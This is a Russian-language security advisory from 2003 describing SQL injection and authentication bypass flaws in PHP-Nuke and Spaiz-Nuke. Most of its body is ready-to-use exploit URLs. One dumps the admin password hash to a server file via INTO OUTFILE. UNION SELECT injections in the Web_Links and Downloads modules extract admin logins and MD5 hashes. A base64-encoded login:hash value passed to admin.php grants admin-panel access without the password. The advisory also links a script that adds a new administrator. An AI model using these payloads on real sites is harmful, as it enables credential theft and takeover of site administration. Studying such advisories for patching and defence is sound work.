Security Lab

Sql инъекция и неавторизованный доступ в Spaiz-Nuke и PHP-nuke

Дата публикации:09.10.2003
Всего просмотров:4402
Опасность:
Высокая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Spaiz-Nuke версии <=1.2beta, PHP-nuke все версии

Описание: Несколько уязвимостей обнаружено в Spaiz-Nuke и PHP-nuke. Удаленный пользователь может выполнить произвольный Sql код на уязвимой системе. Удаленный пользователь может получить доступ к системе без пароля.

1. sql-кода в модуле администрирования

Уязвимость обнаружена в сценарии auth.php в функции проверки логина и пароля. Атакующий может получить зашифрованный пароль администратора. Отсутствие проверки ввода обнаружено в переменной $aid содержащей логин для авторизации. Используя кавычку можно перенаправить вывод в произвольный файл на сервере. Эксплоит:

www.site.com/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%
20'/path_to_file/pwd.txt 
(проверялось только на spaiz-nuke) После ввода данной строки в браузере на уязвимом сервере будет создан файл /path_to_file/pwd.txt содержащий зашифрованный пароль для логина "Admin".

Решение:

Включите magic_quotes_gpc в php.ini файле

2. Внедрение sql-кода в модуле web_links

Отсутствие проверки ввода обнаружено в переменной $cid в модуле web-links. Атакующий может внедрить произвольный sql-код.

Эксплоит:

Следующий эксплоит показывает пример получения логинов и зашифрованных паролей администраторов движка. Работает на БД поддерживающих команду UNION (mysql>4) Для других БД необходимо изменять вид sql-запроса.

  1. Для php-nuke

    Данная строка выдаст все логины:

    www.site.com/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%
    20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--
    
    Данная строка выдаст все зашифрованные пароли:
    www.site.com/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%
    20counter,%20pwd,%20aid%20FROM%20nuke_authors%20--
    
  2. Для spaiz-nuke

Изменить nuke_authors в строке на spnuke_authors 3. Внедрение sql-кода в модуле download *

Эксплоит:

  1. Для php-nuke
    www.site.com/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%
    20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--
    
  2. Для spaiz-nuke также как и в предыдущем случае.
4. Доступ без расшифровки пароля

Пароли данного движка шифруются с помощью алгоритма md5 однако атакующий может получить доступ даже не зная расшифрованного пароля.

Эксплоит:

Сначала следует зашифровать полученные логин и зашифрованный md5 пароль с помощью алгоритма base64.

Сделать это можно например здесь: http://www.isecurelabs.com/base64.php Шифруем этим алгоритмом следующую строку:

login:crypt_passwd:
где 
login=логин 
crypt_passwd=зашифрованный пароль.
Получаем хеш.

Например для admin:21232f297a57a5a743894a0e4a801fc3: хеш будет следующим:

YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Теперь можно получить доступ к панели администрирования используя следующий урл:

www.site.com/admin.php?admin=ваш_хэш
Вручную использование данной уязвимости немного неудобно поэтому был написан сплоит позволяющий добавить нового администратора со всеми правами. Посмотреть сплоит можно здесь: http://rst.void.ru/download/r57nuke.txt

URL производителя: http://www.php-nuke.org

Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Advisory#10 PHP NUKE & SPAIZ NUKE